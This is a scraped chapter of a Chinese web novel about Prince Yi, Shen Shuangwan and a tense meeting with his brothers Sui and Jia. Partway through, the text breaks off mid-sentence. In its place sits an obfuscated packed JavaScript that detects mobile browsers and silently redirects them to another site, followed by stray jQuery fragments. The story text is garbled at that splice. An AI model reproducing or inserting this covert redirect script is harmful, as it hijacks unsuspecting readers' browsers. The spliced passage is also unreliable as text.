默认冷灰
24号文字
方正启体

37. 心乱

作者:绘花猫本书字数:K更新时间:
    已经过了端午,京城周围正是一派绿意浓浓。


    仪王带着沈霜晚跑过了一片麦田,又穿过了一片杏林,最后才到了他指的桃林边上。


    树上的水蜜桃显然已经熟透,有农人正拿着筐在树下采摘。


    他停下马,自己先跳下来,然后对着沈霜晚伸手:“下来吗?”


    沈霜晚想了想,还是接着他的手从马上下来了。她回头看了看,没见着应当跟着他的那些人,脸上露出些许担忧。


    他便往旁边挪了一步挡住了她的视线。


    “吃桃子吗,我们买一筐。”他向桃林中的农人招手。


    农人老早就看到他们过来,这会儿听到他说话,便拎着一筐桃子上前来了:“贵人要买一筐?这一筐是刚摘的,新鲜!”


    沈霜晚颇有些无奈地收回目光,又看向了那农人手里的桃子,道:“买一筐桃子也没地方放呀!”


    “那就买两个。”他从怀里摸了一串铜钱递给那农人,“挑两个甜的再帮我洗洗。”


    农人忙接了那一串钱,放下筐子认真翻了两个红彤彤的水蜜桃出来,又去井边洗了洗,拿布擦干净了才递给了他。


    他接过桃子,向农人道了谢,然后转身递了一个给沈霜晚:“走吧,我们继续往前。”


    沈霜晚接了桃子,在手里掂了掂,却没急着吃。她又往他们过来方向看了看,道:“我倒是无所谓的,您孤身一人在外头,实在不太好。”


    “你难道不是人?”他看着沈霜晚,又笑了笑,“你担心我?”


    沈霜晚握着桃子抬头看他,眼中的确是担忧的神色,她道:“君子不立于危墙之下。”


    他猜着她便要说这话,于是他道:“我不是君子呀!”


    然后他便果然看到沈霜晚瞪了他一眼。


    “走了。”他没忍住又笑了两声,啃了一口手里的桃子,含混不清道,“他们后面就跟过来了,你急什么?”


    沈霜晚似乎不信他的话,又回头看了好几眼,直到看到了扈从带着的卤簿,才露出放心的神色。


    他看着她,笑道:“这是京城,有什么可担心的?”


    她却很认真道:“若真出什么事情,前不着村后不着店,是叫天天不应叫地地不灵。”


    他素来是讨厌有人对自己说这些话的,但今日似乎是因为天气缘故,又或者是其他的什么原因,他并不觉得这些话有多让人厌恶了。他一手牵着马一手拿着桃子,顺着桃林旁的小道往前走,口中道:“那怎么办,我现在已经带着你跑到这里来了。”


    沈霜晚跟在他身后,她手里拿着桃子却没吃。


    微风拂过,她头上那朵红牡丹的花瓣微微颤动着,她伸手把凌乱的鬓发略理了理,又拉了拉身上乱七八糟的披帛。


    他慢慢咽下了嘴里的桃子,忽然觉得有些口渴,他闭了闭眼睛,几口把桃子吃完,随手把桃核丢到林子里面。找了帕子擦了擦手,他清了清嗓子,回头看向了沈霜晚:“桃子吃完了,可以走了。”


    沈霜晚满满都是无奈,她手里桃子还好好的,她道:“好吧,都听殿下的。”


    他说不清心中到底是什么乱七八糟情思涌现了,他荒谬地觉得沈霜晚这句听他的十分悦耳动听,他觉得自己一颗心一时砰砰乱跳,一会假作镇静——他看了沈霜晚一眼,心想她应当看不出来吧?


    他心里想着这些有的没的,回身扶着沈霜晚骑到马背上去,自己牵着缰绳慢慢顺着小路往前走。


    .


    “这里我以前来过。”他一边往前走,一边找了个话头来说,“以前大哥带我打猎的时候来过这里,那次我要追一头公鹿,那头公鹿慌不择路往前狂奔,我就跟在后面没头没脑追。我追鹿,大哥在后面追我,终于追到这里来,我猎到了那头鹿,我哥也找到了我,然后我们俩就和身后的人跑散了。”


    “后来呢?”沈霜晚问。


    他笑了一声,道:“后来我和我哥带着那只鹿在这儿绕了好久才绕到绣岭,上了官道,最后顺利回宫。不过宫里人吓坏了,母后狠狠骂了我一顿。”


    沈霜晚皱了皱眉头,似乎想说什么时候,远处传来了马蹄声,她抬头看了过去,他也抬头看了过去。


    一群穿着花哨的人和马正朝着他们跑过来。


    他们身后也有扈从随行,从卤簿上的花纹来看,应是京中的亲王。


    如此大张旗鼓会在外头跑的,现在应当就是隋王一干人了。


    仪王眉头皱了皱,回头对着自己的扈从吹了声哨子。


    扈从听到哨声立刻上前来,把仪王和沈霜晚护在了中央。


    .


    另一边,果然是隋王与嘉王二人骑着马带着人过来了。


    看到仪王,隋王坐在马上笑了笑,道:“十一弟,怎么今日在这里?也是出城打猎的么?”顿了顿,他注意到了仪王身后的沈霜晚,尽管她匆忙间戴了帷帽看不清面容,但这并不妨碍他辨认男女,隋王面上的笑容变得有些微妙起来了,他道,“后面是弟妹么?今日不巧了,也没准备见面礼。”


    仪王叫人护着沈霜晚退到后面去,然后才看向了隋王,道:“是不巧,早知道今天会碰到四哥,我就算一算黄历再出门。”


    这话顿时要把隋王气个仰倒,原因无他,今日他便觉得自己运气差极了,说是和嘉王一起打猎,但从出京一路到绣岭甚至连一只兔子都没看到!现在还要听仪王说阴阳怪气的话,这岂不就是出门没看黄历!


    嘉王看了兄长一眼,忙上前来打圆场,道:“我们远远看着你的卤簿,心想着这时候在外头玩耍的只有你了,便过来看看,还想和你一起打猎的。”


    仪王道:“打猎倒是小事,我怕今天和你们打猎,晚上嫂子就上门来质问为什么要不顾忌你们身体,倚老卖老说我不尊老。”


    这话把嘉王也堵了个半死,原因无他,乃就是仪王和他们二人年龄相差十几岁,平日里在今上和太后面前拿架子说话,总爱说他年纪小不懂事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177258|196915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,仪王那时候总当做没听到的样子,没想到这会儿突然堵了回来。


    隋王平了平气,坚强道:“你也太记仇了,不就是在娘娘和父皇面前说了你几句吗?”


    嘉王忙附和起来:“那都是玩笑话,也没当真过啊!”


    仪王双手抱臂不耐烦道:“我不跟你们打猎,你们自己玩去吧!别在这耽误我时间。”


    隋王和嘉王对视了一眼,又看向了被人遮住的沈霜晚,虽然好奇,但也不太想这荒郊野外和仪王争吵起来,万一吵到动手,他们又不能真的把仪王怎么样,反而仪王回头去告状,他们就没好结果。


    于是隋王道:“罢了罢了,我这就走了,不打扰你。”


    说着,他便与嘉王一道掉转马头,往另一边去了。


    .


    隋王与嘉王两人回头走了一段,见仪王没有跟过来的意思,便慢慢放慢了脚步。


    隋王回头看了一眼,道:“你看到那女人没有?应当不是杨国舅家的那位吧?”


    嘉王道:“一看就不是,这应当是永平侯家那个沈氏吧?除了那个沈氏,我好像还没听说他府里有别的女人。”


    “说不定是最近弄上手的还没接回府里去?”隋王嘲讽地笑了几声,“看他那宝贝样子,还不让看。”


    “年轻人嘛,不都这样?”嘉王道,“他之前和杨氏分开不就是因为杨氏管得太多?男人哪有不爱风流的?他若是身边一个女人都没有,那倒是奇事了。”顿了顿,他笑道,“这倒是好事。都说他是皇后嫡子,将来要做太子。就他这做派,我想父皇还当他是个孩子,多半是不会叫他去当太子的。”


    隋王也笑了一声,道:“他不就是没长大么,若他心里有数,就不会和杨家闹成那样。杨氏霸道又怎么了,供起来就是了,何必非要和离?现在杨家只不过看在皇后面子上不与他翻脸,但想要杨家人的支持,他迟早要回头去对那杨氏俯首。”


    嘉王道:“到那天便又可以看一场热闹,何乐而不为呢?”


    听着这话,隋王忽然想起什么,笑道:“你说热闹,我倒是想起来成安郡主那事情,前几日王妃对我说他们两家算定了日子,已经往各府送了请帖,王妃问我那天到底要不要去。”


    “看在长公主的份上也是要去的。”嘉王道,“太后娘娘最疼就是姑妈,总不能不给姑妈面子。”


    “那你说仪王会不会去?”隋王看向了嘉王,藏不住脸上的幸灾乐祸,“若他去了,永平侯就没面子了吧?永平侯没面子,成安郡主也别想有面子。若他不去,直接下了长公主的面子。”


    嘉王想了想那情形,也不禁笑起来,道:“活该他左右为难,谁让他那时候非要抢别人的夫人?前几个月不还跟人亲生父亲闹着抢孩子么?也不知他是个什么癖好,别人的孩子他也养?”


    隋王一本正经道:“若那沈氏不是倾城祸水,必定就是我们仪王殿下脑子进了水。”


    嘉王听着这话,噗嗤一声大笑起来。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)